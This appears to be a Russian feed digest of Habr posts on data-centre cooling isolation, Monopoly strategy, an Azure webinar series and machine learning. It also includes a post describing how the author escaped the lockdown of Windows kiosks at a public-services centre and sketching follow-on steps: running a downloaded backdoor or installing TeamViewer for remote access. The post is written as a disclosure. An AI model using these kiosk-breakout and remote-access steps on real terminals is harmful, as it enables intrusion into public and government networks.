          Однако даже опытные специалисты зачастую путаются в выборе методов и схем такой изоляции. Один из главных вопросов, что лучше изолировать: потоки охлажденного или отработанного (горячего) воздуха? И почему не имеет особого смысла изолировать и то и другое? Сразу скажем, что в большинстве случаев изоляция обоих потоков не дает существенных преимуществ – в качестве исключения можно привести пример размещения ИТ-шкафов в агрессивной среде (скажем, на производстве), когда востребована изоляция и холодных и горячих потоков. Но в большинстве ЦОДов достаточно изолировать только пространство распространения холодного или горячего воздуха.

          Вопрос в том, что все-таки изолировать – холодный или горячий поток – и на каком уровне – отдельной стойки, целого ряда (коридора) или иного пространства? Выбор конкретного варианта зависит от многих факторов. Перечислим некоторые из них:

          • Схема расстановки ИТ-оборудования. Обеспечено ли формирование горячих и холодных коридоров? Имеется ли оборудование нестандартных габаритных размеров?
          • Тип системы охлаждения. Периметральные, рядные кондиционеры или внешняя система охлаждения?
          • Высота потолка. Достаточна ли она для организации фальш-потолка и/или изоляции отработанного воздуха в фальшпотолочном пространстве?
          • Наличие и высота фальшпола. При использовании фальшпола для подачи холодного воздуха обеспечит ли его высота подачу и распределение нужного объема?
          • Расположение колонн. Опорные колонны могут значительно затруднить монтаж изолирующих панелей.
          • Схема прокладки кабелей. Толстые пучки кабелей снизу, под фальшполом, могут препятствовать подаче холодного воздуха, а сверху, над стойками, – монтажу панелей или воздуховодов системы изоляции горячего коридора.
          • Организация системы пожарной сигнализации и пожаротушения. Изоляция может привести к формированию более мощных воздушных потоков, дым в которых рассеивается очень быстро, что затрудняет обнаружение возгораний. Кроме того, системы изоляции могут стать препятствием для распространения агента тушения.

          Понятно, что учесть все эти факторы можно только зная все детали объекта. Тем не менее, ниже мы попробуем разобрать несколько наиболее типовых ситуаций.

          Периметральные системы охлаждения. Изоляция холодных коридоров

          В системах периметрального охлаждения используются работающие на весь машинный зал кондиционеры, которые устанавливают по его периметру. При наличии фальшпола достаточной высоты холодный воздух подается под фальшполом и выводится к ИТ-оборудованию через перфорированные плитки. При установке ИТ-стоек с формированием холодных и горячих коридоров можно изолировать холодный коридор, превратив остальное помещение в огромный резервуар отработанного (горячего) воздуха.

          Пример изоляции холодного коридора. Показана система контейнеризации воздуха Schneider Electric EcoAisle


          Это высокоэффективное решение, которое, тем не менее, имеет ряд ограничений. Поскольку все помещение за пределами изолированных коридоров превращается в резервуар горячего воздуха, то могут возникнуть проблемы с охлаждением отдельно стоящих ИТ-устройств нестандартных габаритов (например, систем хранения данных). Эти проблемы, конечно, можно решить, например, установив дополнительные перфорированные плитки и индивидуальные системы изоляции для таких устройств, но это повысит стоимость проекта. Кроме того, из-за высокой температуры усложняется работа обслуживающего персонала длительное время.

          Периметральные системы охлаждения. Изоляция горячих коридоров

          Эта схема может быть использована как при наличии фальшпола, так и при его отсутствии. Но при этом необходима система воздуховодов или фальшпотолок, образующие пространство для отвода отработанного (горячего) воздуха обратно в кондиционеры. В этом случае большая часть помещения превращается в огромный резервуар кондиционированного (холодного) воздуха, что упрощает обеспечение необходимо температурного режима для отдельно стоящего негабаритного ИТ-оборудования.

          Пример изоляции горячего коридора с воздуховодом, отводящим отработанный воздух в потолочное пространство. Показана система контейнеризации воздуха Schneider Electric EcoAisle


          Изоляция при использовании рядных систем охлаждения

          Рядные системы охлаждения, предусматривающие установку кондиционеров непосредственно в ряду стоек, становятся все более популярными благодаря высокой эффективности и возможности значительного увеличения энергетической плотности нагрузки. Это связано с тем, что источники охлажденного воздуха расположены в непосредственной близости к ИТ-оборудованию.

          При использовании рядных систем охлаждения возможны оба варианта изоляции: холодных или горячих коридоров. Они схожи с рассмотренными выше схемами для периметральных систем. При изоляции коридоров формируются состоящие из двух рядов шкафов зоны, объединенных общей инфраструктурой охлаждения. Одна из возможных проблем для реализации таких схем – дефицит площади в местах установки ИТ-стоек, что может не позволить установить рядные кондиционеры между стойками.

          Пример изоляции холодного коридора с рядными кондиционерами


          Изоляция в пределах одной стойки


          Этот вариант может оказаться востребованным при наличии отдельных стоек высокой энергетической плотности (более 6 кВт), невозможности группирования шкафов с ИТ-оборудованием с выделением холодных/горячих коридоров или при наличии препятствий (например, опорных колонн) для монтажа системы изоляции коридора.
          В данном случае возможна изоляция отработанного воздуха: воздуховод монтируется на шкаф и отводит горячий воздух за фальшпотолок.

          Пример применения индивидуальных стоечных воздуховодов отработанного воздуха. Показана система Schneider Electric Vertical Exhaust Duct


          Если требования к энергетической плотности еще выше, то можно установить стойку с собственным блоком охлаждения, реализовав циркуляцию воздуха внутри герметизированного объема.

          Пример изоляции воздушных потоков на уровне отдельной стойки

          Решение HyperPOD

          Одной из существенных проблем использования представленных на рынке систем изоляции горячих/холодных коридоров до недавнего времени было ограничение на размеры объединяемых ими шкафов. Часто требовалась установка однотипных шкафов одинаковой ширины и высоты. Летом 2017 года компания Schneider Electric вывела на рынок новое решение HyperPOD, снимающее большинство ограничений и позволяющее значительно сократить трудозатраты на монтаж и эксплуатацию инфраструктуры серверных залов ЦОД.

          Модули HyperPOD легко интегрируются с различными типами систем распределения электропитания, пожаротушения и охлаждения. Их можно оснастить дополнительными ярусами лотков для кабелей, системами мониторинга, внутреннего освещения, видеонаблюдения и контроля доступа


          Система HyperPOD основана на самонесущей модульной конструкции, которая легко монтируется и позволяет установить элементы инженерной инфраструктуры ещё до установки стоечного оборудования. Кроме того, это решение дает возможность легко устанавливать или перемещать шкафы в процессе эксплуатации. Конструкция HyperPOD не предъявляет особых требований к устанавливаемому оборудованию и совместима со шкафами произвольной ширины и высотой до 52U. Решение поддерживает многомодульные конфигурации, что обеспечивает возможность расширения с шагом 8-12 стоек (по 4-6 в каждом ряду).

          Итак, современные средства изоляции воздушных потоков позволяют существенно повысить эффективность системы охлаждения ИТ-оборудования и надежность его работы. Выбор оптимальной схемы изоляции определяется спецификой конкретного проекта, однако решения нового поколения, такие, как HyperPOD, являются достаточно универсальными, легко адаптируются практически к любой ситуации и помогают оптимизировать затраты на охлаждение.
          Original source: habrahabr.ru (comments, light).

          https://habrahabr.ru/post/338016/


          [Из песочницы] Немного о безопасности терминалов в МФЦ

          Пятница, 15 Сентября 2017 г. 14:59 + в цитатник
          gdt сегодня в 14:59 Разработка

          Немного о безопасности терминалов в МФЦ

          Всем привет!

          Недавно занесла меня нелёгкая в МФЦ (для тех, кто вдруг не в курсе, МФЦ — это многофункциональный центр по предоставлению государственных и муниципальных услуг, т. е. всевозможные бумажки делаются здесь). Пока ждал своей очереди, мозг усиленно искал какой-нибудь способ провести время с интересом и с пользой. И тут мой взгляд упал на одиноко стоящие терминалы для доступа к Госуслугам:


          (на фотографии терминал уже после моих манипуляций).

          Лирическое отступление


          Несколько лет я проработал в компании, основным видом деятельности которой является создание терминалов на любой вкус — начиная от корпусов и заканчивая программным обеспечением. Перед отправкой клиенту каждый терминал проходит через отдел технического контроля, который следит за тем, чтобы отправляемый товар соответствовал определённым критериям качества. Особенно строго следили за безопасностью — антивандальные корпуса и кнопки со стороны железа, настройка операционной системы (как правило, MS Windows 7 и выше), свой shell и своя настраиваемая экранная клавиатура со стороны программного обеспечения. Соответственно, я по привычке решил подойти и «пощупать их привилегии», посмотреть, что же сделали поставщики терминалов для МФЦ в плане безопасности.

          Ничего


          Начнём с того, что терминал оборудован кастомной клавиатурой. К сожалению, отдельно клавиатуру я не запечатлел (фотографирование чего-либо вообще не было моей целью, так что местами качество откровенно не очень), но выглядит всё это примерно так:



          На клавиатуре отсутствуют клавиши Alt и Win. Таким образом, сразу отпадают такие комбинации, как Ctrl+Alt+Del, Alt+Tab, Win+D, Win+R, Win+E и им подобные. Приглядываемся повнимательнее — и замечаем, что клавиши Ctrl, Shift и Esc зачем-то решили оставить. Пробуем Ctrl+Shift+Esc — вуаля! Диспетчер задач открыт с первой попытки. Вместе с диспетчером задач появляется и панель задач с кнопкой «Пуск». При помощи тачпада открываем меню, в поиске вводим «Экранная клавиатура», запускаем при помощи тачпада или клавиши Enter:



          Теперь нам доступны все клавиши, которые вообще могут потребоваться, и терминал полностью в нашем распоряжении. На самом деле, на этом можно было бы закончить, но мне уже стало интересно, что с этим можно сделать.

          Что с этим можно сделать


          Запускаем редактор реестра — Win+R+regedit+Enter:



          Запускаем internet explorer (Win+R+iexplore+Enter) и переходим на любую нужную нам страницу:



          Смотрим информацию о системе:



          Кстати, очень интересно, откуда у них лицензионная Windows 7. По данным с сайта Microsoft продажи Windows 7 всех редакций закончились 31 октября 2013 г.

          Пока я думал, что бы ещё предпринять, к терминалу всё-таки подошёл мужчина, видимо, системный администратор, и начал предпринимать действия по возвращению терминала в исходное состояние. На мои попытки завести разговор он никак не отреагировал. Через 20 минут терминал выглядел так:



          Как говорится, нет терминала — нет проблемы.

          Остальные терминалы я не трогал, т. к. ими всё-таки пользуются люди. По этим причинам не удалось проверить, отключен ли Long Touch (открывает контекстное меню), и скачать что-либо на терминал тоже не успел.

          К слову, оказалось совсем необязательно открывать диспетчер задач. Видимо, никто не догадался отключить стандартную экранную клавиатуру:





          Таким образом, любой, кто пытается воспользоваться терминалом по назначению, может открыть экранную клавиатуру и делать что угодно.

          Какие можно сделать выводы


          А вот выводы из этой ситуации можно сделать очень печальные. С большой долей вероятности терминалы подключены к внутренней сети МФЦ (я не проверял). Я далеко не специалист в сфере IT безопасности, но могу предположить следующий вектор атаки, например:

          1. Залить shell/backdoor/rootkit/что-нибудь ещё в этом духе на любой файлообменник
          2. Открыть на терминале браузер, скачать и запустить, вернуть всё как было.
          3. ????
          4. PROFIT

          Для особо ленивых можно зайти на официальный сайт TeamViewer и скачать оттуда TeamViewer для Windows (так сказать, способ без предварительной подготовки), разрешить управление и записать id и пароль.

          Ну а дальнейшие действия ограничены только вашим воображением. По понятным причинам сам я так делать не буду и вам настоятельно не рекомендую. Но сам факт такого отношения к безопасности терминалов МФЦ, а соответственно, и внутренней сети, вызывает ужас. Мало ли к каким данным можно получить доступ таким образом.

          P.S. В остальном впечатления от посещения МФЦ остались отличные.
          Original source: habrahabr.ru (comments, light).

          https://habrahabr.ru/post/338012/


          Метки:  

          Hackspace Capital: от World of Tanks к технологическим инновациям

          Пятница, 15 Сентября 2017 г. 14:39 + в цитатник
          Пол Грэм в эссе о стартапах отлично подметил одного желания и идеи недостаточно, чтобы стартап стал успешным. Это сложная работа над собой (эмоциональные американские горки обеспечены), выполнение массы рутинных и несвойственных задач, поиск все новых пользователей и партнеров, вопросы доверия. Стартапам нужна моральная и финансовая поддержка, которую ищут в инвесторах. читать далее

          https://habrahabr.ru/post/337954/


          Метки:  

          Пятничное: пузырь ICO

          Пятница, 15 Сентября 2017 г. 14:25 + в цитатник

          Сегодня можно увидеть устремившийся в бесконечность почти вертикальный график роста объема капитала, услышать яростную критику от скептиков и возвышенную похвалу от оптимистов. Признаться, я отношу себя к оптимистам, хотя до последнего времени ненавидел пузыри, относился к ним как к форме помешательства или одержимости. Но, обратившись к здравому смыслу, я изменил свое мнение на противоположное. Далее я расскажу как перестал бояться пузырей и полюбил вот это все.

          Читать дальше ->

          https://habrahabr.ru/post/338008/


          Метки:  

          О факторе случая при игре в «Монополию»

          Пятница, 15 Сентября 2017 г. 14:22 + в цитатник
          EverydayTools сегодня в 14:22 Разное

          О факторе случая при игре в «Монополию»

            Команда Everyday Tools, как и многие другие, любит время от времени по пятницам поиграть в старые-добрые настолки. Для некоторых даже есть конспиративные названия. Вот сидят, допустим, контент-менеджеры и говорят друг другу: «А не потренировать ли нам навыки подбора ключевых слов?» — и достают, поросята, игру «Капитан Очевидность».



            Сегодня мы хотим коснуться нетленной классики. «Монополия» или «Менеджер», приходя в нашу жизнь еще в детстве, остается в ней надолго. На это есть ряд причин, но обсуждать их здесь мы, конечно же, не будем. Давайте лучше представим, что вы с командой, по нашему образу и подобию, решили скоротать последний, самый долгий, пятничный рабочий час за игрой в «Монополию». Шестьдесят минут — это как раз тот максимум, который, по словам профессионалов, должен уходить на партию, но на деле почему-то обычно выходит иначе и три часа спустя какая-нибудь пара-тройка игроков все еще метает кубики с нездоровым блеском в глазах.

            Почему так? Оказывается потому, что большая часть людей играет не по тем схемам, которые рассчитаны на быстрое и эффективное разорение противника. Об этих-то смертоносных схемах и пойдет речь в сегодняшнем материале.

            Историческая справка, которую все пропустят
            Официальной датой, когда игра «Монополия» вышла в свет, считается 6 февраля 1935 года. Однако, если копнуть глубже, ее история начинается еще на заре 20-го века, когда на рынке появилась «The Landlord's Game», игра авторства Элизабет Мэги с очень похожими правилами. Вообще-то, она создавалась с поучительной целью показать детям на доходчивом примере, как губительна и фундаментально несправедлива капиталистическая модель рынка, но с самого начала что-то пошло не так. Не только дети, но и взрослые быстро втянулись в роль акул капитализма и принялись топить друг друга с большим азартом. В свете зарождающейся популярности в следующие десятилетия вокруг авторских прав развернулась грызня, достойная игры про ужасы капитализма. Победителем в ней вышел некий Чарльз Дэрроу, который и нарек свой продукт известным всем именем.

            К слову, в пилотной версии от Мэги было предусмотрено две возможных модели игры: капиталистическая, с целью построить монополию, и антикапиталистическая, с целью обеспечить прибыль всем игрокам. Первая из них легла в основу современного варианта, вторая же не прижилась и быстро ушла в небытие — примите к сведению, если вы еще питаете какие-то иллюзии относительно человеческой природы.

            В общем, выше мы клоним к тому, что игра существует давно и всегда пробуждала в людях нездоровый энтузиазм и готовность на все ради победы. Было бы странно, если бы все возможные ходы, сценарии и правила до сих пор не разобрали по косточкам, чтобы вычислить оптимальную стратегию. С такой мыслью группа наших сотрудников (которым надоело проигрывать) отправилась в экспедицию по просторам русско- и англоязычного Интернета в надежде найти какую-нибудь народную мудрость на этот счет.

            Результат превзошел ожидания. Во-первых, статей, схем и руководств существует великое множество, как совсем античных, так и относительно свежих. Во-вторых, наряду с незамысловатыми советами в духе «постарайтесь не доводить до поножовщины» попадаются и экземпляры, которые выглядят как нечто прямиком из журнала «Тервер для всей семьи».


            Источник изображения: moneypoly.ru/monopoly/probabilities.htm

            Немного придя в себя, мы составили выборку рекомендаций, которые поддерживает большинство проштудированных источников и осторожно попытались соотнести их с тем, что говорят подобные математические таблицы. Как выяснилось, по некоторым вопросам в интернет-сообществе нет полного согласия — подобные спорные моменты мы мысленно отметили, чтобы проверить в ходе игры. В результате многочасовых трудов получилась такая вот методичка для начинающего капиталиста.

            Незнание закона не освобождает от ответственности


            Десять из десяти игроков в «Монополию» уверены, что знают правила на зубок, и девять из десяти игроков в «Монополию» глубоко заблуждаются. Правил там — целая книжечка убористым шрифтом, и, хотя большая часть собравшихся вокруг игрового поля обычно имеет общее представление о механике игры, очень часто этим дело и ограничивается. Частности выпадают из памяти и многие умышленно введенные трудности и возможности пропадают зря просто по недосмотру.

            Самое обидное, что в забвение попадает не какая-нибудь ерунда, а весьма ценные вещи. Скажем, одно из правил, которые часто игнорируют — выставление бесхозной недвижимости на аукцион при отказе игрока, чья фишка попала на соответствующее поле, ее приобрести. Само собой, если его придерживаться, темп игры сразу повысится, обстановка накалится — а мы ведь именно этого и добиваемся.

            Другой пример — ограниченное количество домов. Иногда его ошибочно принимают за недостаток комплектации и «исправляют» положение: компенсируют собственными поделками или устанавливают произвольные квоты. На самом деле, все правильно, домов и должно не хватать на всех — монополия у нас тут или что? Это обстоятельство можно и нужно обращать в свою пользу.

            В общем, не поленитесь освежить в памяти правила игры — знание законов здесь, как и в реальной жизни, вполне окупается. И держите буклет под рукой, чтобы было что предъявить в случае, если вашу экспертизу подвергнут сомнению.

            Кстати, азарт азартом, но внимательность и памятливость — вообще полезные в «Монополии» качества. Неплохо бы, например, запоминать примерный порядок карточек; тогда, когда они пойдут по второму кругу, вы сможете примерно предсказывать, каких сюрпризов ждать в ближайшее время.

            Тише едешь — дальше финиш


            Игра в «Монополию» отличается неровным темпом. Любая партия распадается на две части: 1) гонка на опережение и 2) измор. В ходе первой формируются монополии, в ходе второй свежеиспеченные буржуи тянут жилы из своих менее удачливых товарищей, пока у тех не истощатся ресурсы. Именно ваши действия в начале игры будут определять ее дальнейший ход, так что будьте на низком старте с самого начала игры.

            Что мы понимаем под низким стартом? Во-первых, вам, как минимум, необходимо все время быть в игре — на начальных этапах нельзя позволить себе такую роскошь, как пытаться высидеть себе даббл в тюрьме из соображений экономии. Приберегите это удовольствие на потом: когда монополии будут сформированы, пропускать ходы, наоборот, станет выгодно — чем меньше бродишь по чужой собственности, тем меньше платишь.

            Во-вторых, первые круги — время активных действий. Пользуйтесь тем, что поле возможностей еще не ограничено и старайтесь совершить самые многообещающие сделки как можно быстрее, даже если придется где-то потерять в деньгах. В общем и целом, все эксперты сходятся на том, что лучшая стратегия для стартового этапа — скупать все, что не приколочено. Но денег у вас все-таки ограниченное количество, так что давайте разбираться, чему стоит отдать предпочтение.

            В основе любой стоящей стратегии лежат два основных принципа, которые мы все знаем еще по крестикам-ноликам:

            • Ваша основная цель — установить монополию, так что целенаправленно скупайте недвижимость одного, выбранного вами цвета
            • Ваша побочная цель — не дать противникам сделать того же, так что перекупайте недвижимость «чужих» цветов, если заметили, что у кого-то наклевывается полный сет


            Оговоримся, что это разделение на основную и побочную, строго говоря, работает только для первой монополии, дальше все становится запутаннее. Кто-то рекомендует сразу кидать все силы на следующую, кто-то считает, что лучше взять паузу и заняться застройкой. Вероятно, здесь нет универсального ответа, все зависит от конкретной ситуации: какие улицы вы уже скупили, сколько свободных средств и участков остается, какая расстановка сил среди остальных игроков.

            В остальном все пока вроде бы прозрачно. Но следующим шагом нужно определиться с цветом, и это уже куда более интересный вопрос.

            Районы, кварталы…


            Как все, наверное, помнят цветовые группы в «Монополии» не одинаковы: они отличаются и расположением на поле, и количеством улиц, и стоимостью, и арендными ставками. И каждый из этих параметров влияет на то, сколько вы выручите из своей монополии в долгосрочной перспективе.

            Допустим, какие цветовые группы брать, подешевле или подороже? Здесь нужно учитывать, что те участки, которые обещают хорошо окупаться, и стоить на длинных дистанциях (с домами и всем прочим) будут немало. Как следствие, возникает реальная опасность в какой-то момент просто «застрять» из-за недостатка денег, пока ваши противники обустраивают свои участки по дешевке. Так что дважды подумайте, прежде чем нацеливаться на самые элитные группы.

            Далее: группы из двух элементов выглядят соблазнительно, но, разумеется, тут не обошлось без подвоха — они располагаются на стороне поля, куда игроки попадают реже, а значит и приносят меньше ренты. Соответственно, синие и фиолетовые улицы — тоже не приоритетный выбор.


            Источник изображения: monopoly-game.ru

            Все это очень интересно, скажете вы, но как-то туманно и бездоказательно. Что ж, давайте обратимся к цифрам. Признаемся сразу: полной, сводной таблицы с расчетами по всем параметрам мы в Сети не нашли. Вероятно, это даже и к лучшему, иначе игра дошла бы до такой степени прогнозируемости, что просто лишилась бы смысла. Но статистика по отдельным факторам проработана так тщательно, что даже страшно.

            Например, вот расчеты от Monepoly, которые представляют в формате температурной карты общий объем вложений и количество шагов, за которое в среднем окупаются затраты на каждую из групп.



            Источник изображений: www.amnesta.net/monopoly

            Как видим, с точки зрения точных наук, лучшие по окупаемости варианты — оранжевая и голубая цветовые группы, а также железнодорожные вокзалы.

            Но не спешите: все эти вычисления производились достаточно условно, исходя из принятого предположения, что игра будет разворачиваться по определенной усредненной схеме. Можно копнуть и глубже! Другой материал на Moneypoly приводит подробную статистику по вероятности попадания фишки на каждое игровое поле:


            Источник изображения: moneypoly.ru/monopoly/probabilities.htm

            А затем уже, исходя из этого, рассчитывается доходность за ход для нескольких различных сценариев игры. Кстати, человек, который все это проделал, утверждает, что не особенно увлекается «Монополией»:



            Источник изображений: moneypoly.ru/monopoly/probabilities.htm

            В целом, выводы, которые делает автор на основании этой крайне подробной статистики, не противоречат тем, которые кочуют из статьи в статью без подробных выкладок. Итак, общий вердикт:
            • Железные дороги лидируют по соотношению издержки-прибыль
            • Оранжевое поле — оптимальный вариант для застройки
            • Фиолетовый сектор проигрывает остальным, особенно пока монополия еще не достигнута
            • Пик рентабельности по большей части приходится на третий дом


            Ну, и раз уж речь пошла о домах….

            Строим дом мечты (или три)


            Забавно, что по вопросам застройки нам периодически попадались лайфхаки, которые, по сути, один в один повторяют правила. Скажем, в нескольких источниках эксперты советовали застраивать участки равномерно, добавляя новые дома на каждый по очереди, хотя иначе-то, по идее, и нельзя. Поэтому повторимся: проштудируйте мануал перед началом игры.

            Так или иначе, эксперты постановили: строить дома нужно, причем как можно быстрее, причем желательно (см. выше) в количестве трех штук. Отдельные голоса рекомендовали один-два, но математически расчеты такую стратегию не поддерживают.

            С другой стороны, если деньги позволяют, можно застроить участки домами и до предела. Смысл здесь не столько в достижении оптимального соотношения издержек и арендных поступлений, сколько в том, чтобы по максимуму лишить соперников возможности облагораживать свою собственность. Оскал капитализма как он есть.

            Соответственно, от постройки отелей, напротив, лучше воздержаться — ведь тогда придется сдать в казну все дома на радость остальным игрокам. Вы здесь не для того, чтобы кого-то радовать!

            Нужно сказать два слова и о закладах. Некоторые предлагают использовать их как составляющую стратегии по застройке: заложить один участок банку и спокойно развивать на вырученные все остальные — в принципе, правила такого не запрещают и даже защищают вашу монополию от желающих перекупить заложенное. Но, учитывая, что заклад допустим только в ситуации частичного банкротства (денег нет совсем, но собственность еще не распродана), рисковать в такой степени мы бы все-таки не советовали.

            Гос.сектор и Вы


            С участками разобрались, а как насчет госимущества? Коммунальным предприятиям Интернет вынес единодушный суровый вердикт: из-за малой посещаемости прибыли они приносят в час по чайной ложке и связываться с ними вообще не стоит. Что касается вокзалов, куда, как мы убедились, игроки приземляются значительно чаще, тут все менее однозначно. С одной стороны, их незаурядная средняя окупаемость многих прельщает. Но вместе с тем:


            Источник картинки: monopoly-game.ru/guide/breakdown/pay-back/railroads.html

            Из графика очевидно, что ценность этого типа имущества подскакивает и достигает существенных значений только после покупки последнего, четвертого вокзала.

            Соответственно, можно действовать тремя путями:

            1. Вообще махнуть рукой на вокзалы и сосредоточить внимание и ресурсы на участках
            2. Попытаться установить монополию, чтобы обеспечить приток средств
            3. Не тратить деньги без необходимости, но держать ухо востро, не допуская, чтобы монополию выстроил кто-то другой


            Каждый подход имеет своих сторонников. Лично нам наиболее рациональным представляется третий пункт — и волки сыты, и овцы целы. Кроме того, один вокзал хорошо иметь про запас для торгов: они, благодаря своей репутации прибыльных, хорошо ценятся и охотно принимаются как плата.

            Сбережения


            Одно из главных удовольствий в «Монополии» — толстые пачки купюр с кучей ноликов, которые вам дают за просто так. Но тут кроется подвох: на самом деле, наличности на любом этапе игры у вас должно быть как можно меньше. Оно и логично: если деньги у вас на руках, значит они не «в деле» и, соответственно, плохой из вас монополист. С другой стороны, оставаться совсем без гроша тоже нельзя — и привычка плохая, и собственность можно потерять.

            Какую сумму нужно иметь на руках всегда на случай непредвиденных расходов? Источники называют числа от 300 от 600 $. Рискнем предположить, что в начале игры лучше ориентироваться на нижнюю границу (еще не раскуплены все поля, а значит и платить придется реже), а потом уже можно и немного подкопить на всякий случай. Тем более при грамотном вложении средств вы с течением времени будете все более и более «в плюсе».

            Два слова о долгах. «Монополия» — наверное, единственный случай, когда выгодно быть сговорчивым и щедрым. Соглашайтесь на расчет «натурой» даже себе в ущерб — валюта валютой, а то, что противник лишится недвижимости или часть построек перекочует в ваш фонд, бесценно. Требовать сугубо денежного возмещения имеет смысл только в тех случаях, если у вас самих критическая ситуация с финансами, а в качестве альтернативы предлагают что-то не особенно ценное.

            ***

            Итак, секретный код от «Монополии» оказался в наших руках! Вооруженные стратегическими выкладками и математическими доказательствами, контрольная группа вышла на тропу войны. И, естественно (вы этого ждали), всех порвала. Вот как это было:

            Original source: habrahabr.ru (comments, light).

            https://habrahabr.ru/post/337972/


            Метки:  

            Как стать Azure Guru за 5 дней?

            Пятница, 15 Сентября 2017 г. 14:14 + в цитатник
            Softliner сегодня в 14:14 Разработка

            Как стать Azure Guru за 5 дней?



              Прослушать цикл бесплатных вебинаров от Softline и Microsoft, посвященных облаку Microsoft Azure!

              У нас уже 1246 регистраций. Успейте присоединиться: events.softline.ru/azure-week.

              Для кого этот цикл? Для ИТ-специалистов, руководителей ИТ-департаментов, системных администраторов, руководителей организаций, администраторов баз данных, и всех причастных и неравнодушных.

              Как облачные технологии повлияют на современный бизнес? Надежны ли они? Находятся ли облака в рамках правового поля РФ? Сколько стоит сервис, и смогут ли его поддерживать ИТ-специалисты предприятия? На эти и другие актуальные вопросы вы получите ответы всего за 5 вебинаров! Станьте за неделю Azure Guru!

              Знакомьтесь с нашими докладчиками — квалифицированной командой профессионалов Softline и экспертов Microsoft.

              Александр Паладич


              Softline

              Руководитель направления
              Microsoft Azure, Azure Pack, Azure Stack
              Департамент облачных технологий

              Андрей Сучков


              Softline

              Специалист отдела облачных технологий
              Департамент облачных технологий

              Сергей Лапин


              Softline

              Специалист отдела облачных технологий
              Департамент облачных технологий

              Антон Ватов


              Microsoft

              TSP Application Platform

              Андрей Коломиец




              Account Director Russia & CIS
              Level 3

              Андрей Зеленов




              Sales engineer Russia & CIS
              Level 3

              Андрей Выставкин


              Microsoft

              Руководитель направления гибридных инфраструктур

              Андрей Каменев




              Technology Solutions Professional
              Azure Apps & Infrastructure


              Расписание цикла:



              Azuрная неделя. День 1: Знакомство с Azure.

              18 сентября с 11:00 до 13:00 по МСК
              Спикер: Александр Паладич, руководитель направления Microsoft Azure, Azure Pack, Azure Stack. Softline

              Первый день цикла мы начнем со знакомства с Microsoft Azure. Мы расскажем, какие требования к информационным технологиям не стоит упускать из внимания. Определим основные этапы Цифровой Трансформации бизнеса. Выделим инструменты и средства, которые помогут в реализации основных задач. В завершение мы рассмотрим несколько кейсов, которые продемонстрируют, как трансформируется бизнес и какие преимущества он может получить благодаря использованию облачной платформы Microsoft Azure.
              Подробнее здесь

              Azuрная неделя. День 2: Безопасность в Azure

              19 сентября с 11:00 до 13:00 по МСК
              Спикеры: Андрей Сучков, Специалист отдела облачных технологий. Softline
              Андрей Коломиец, Account Director Russia & CIS. Level 3
              Андрей Зеленов, Sales engineer Russia & CIS. Level 3

              Поговорим о безопасности данных. Мы расскажем про облачные сервисы в Microsoft Azure, которые позволят повысить уровень информационной безопасности и снизят риски, если заражение все-таки произошло. Раскроем вопрос многофакторной аутентификации (Multi-factor Authentication, MFA): в чем заключается дополнительная защита данных и приложений, как ее применить и в чем ее плюсы. Расскажем о Key Vault, VPN и Express Route как составляющих информационной безопасности. Поговорим о том, что такое Azure AD, из чего состоит решение и какие преимущества получают сотрудники и владельцы компании. Во второй части доклада расскажет о решении Cloud Connect — закрытом соединении с Azure Express Route, которое помогает работать с ресурсами Azure/Dinamics 365 с комфортной скоростью передачи данных, исключая публичную сеть Интернет.
              Подробнее здесь

              Azuрная неделя. День 3: Анализ данных.

              20 сентября с 11:00 до 13:00 по МСК
              Спикеры: Сергей Лапин, Специалист отдела облачных технологий. Softline
              Антон Ватов, технический специалист, платформа управления данными. Microsoft

              Что есть Большие Данные в современном мире? Непрерывный поток информации, поступающий из внешних и внутренних источников по различным каналам, а также различные инструменты, подходы и методы для систематизации и обработки этих потоков с целью извлечения аналитических прогнозов. Компании сталкиваются с необходимостью анализировать весь объем исторических данных, а также прогнозировать «что будет если». Используя различные модели, можно выявить взаимосвязи как маркетинговых кампаний, так и угроз безопасности. Не менее важным остается вопрос интеграции бизнес приложений. Мы рассмотрим, какие возможности для решения этих вопросов дает публичное облако.
              Подробнее здесь

              Azuрная неделя. День 4: Публичное облако Azure в России.

              21 сентября с 11:00 до 13:00 по МСК
              Спикеры: Александр Паладич, руководитель направления Microsoft Azure, Azure Pack, Azure Stack. Softline
              Андрей Выставкин, Руководитель направления гибридных инфраструктур. Microsoft

              На четвертой встрече в рамках Azuрной недели мы поговорим о Azure Stack и BlockChain as a Services. Что такое Azure Stack? Что такое технология Блокчейн? Мы расскажем, какие сервисы теперь стали доступны, какие – планируются к реализации, и какой вариант использования публичного облака наиболее подходит под ваши задачи. Уделим внимание Azure Stack — расширению для Azure, которое обеспечивает гибкость и высокую скорость внедрения инноваций облачной среды в локальной среде. И технологии Блокчейн — структуре данных для создания цифрового реестра транзакций, размещенного не у одного поставщика, а в распределенной сети компьютеров. Публичное облако Microsoft Azure – теперь и в ваших Data-центрах.
              Подробнее здесь

              Azuрная неделя. День 5: Средства разработки в Microsoft Azure.

              22 сентября с 11:00 до 13:00 по МСК
              Спикеры: Андрей Сучков, специалист отдела облачных технологий. Softline
              Андрей Каменев, Technology Solutions Professional, Azure Apps & Infrastructure. Microsoft

              Мы завершаем цикл вебинаров более глубоким погружением в облако Microsoft Azure. Речь пойдет об инструментах для разработчиков. Как DevOps объединяет людей, процессы и продукты и позволяет непрерывно предоставлять ценные решения пользователям? Как служба контейнера Azure позволяет быстро развертывать готовые к работе кластеры Kubernetes, DC/OS или Docker Swarm? Как использовать реестр контейнеров для хранения и администрирования образов для всех типов развертываний контейнеров? Мы ответим на все вопросы максимально подробно.
              Подробнее здесь

              Присоединяйтесь к обсуждению, задавайте вопросы! Мы будем рады видеть вас в числе слушателей!

              Участие бесплатное, можно зарегистрироваться у нас на сайте: events.softline.ru/azure-week, а можно поговорить с ботом в Facebook www.facebook.com/119454058140007/posts/1466768476741885.
              Original source: habrahabr.ru (comments, light).

              https://habrahabr.ru/post/338004/


              Машинное обучение в практике администрирования. Технология QoSmic

              Пятница, 15 Сентября 2017 г. 14:13 + в цитатник
              raidixteam вчера в 14:13 Администрирование

              Машинное обучение в практике администрирования. Технология QoSmic



                В последнее время новостные ленты заполонили статьи о машинном обучении (ML; Machine Learning) и глубинном обучении (Deep Learning).

                Действительно, за несколько лет исследователи существенно продвинулись в этом направлении – и, что важнее, общество стало готово к новым технологиям.

                К сожалению, спекулируя на популярной теме машинного обучения, многие сосредоточились на совершенно ненужных человечеству областях его применения: генерации текстов и сценариев для безумных фильмов, написании картин в стиле известных художников и т.д. Часть подобных статей и вовсе скатывается до панических настроений вроде «скоро мы все останемся без работы».

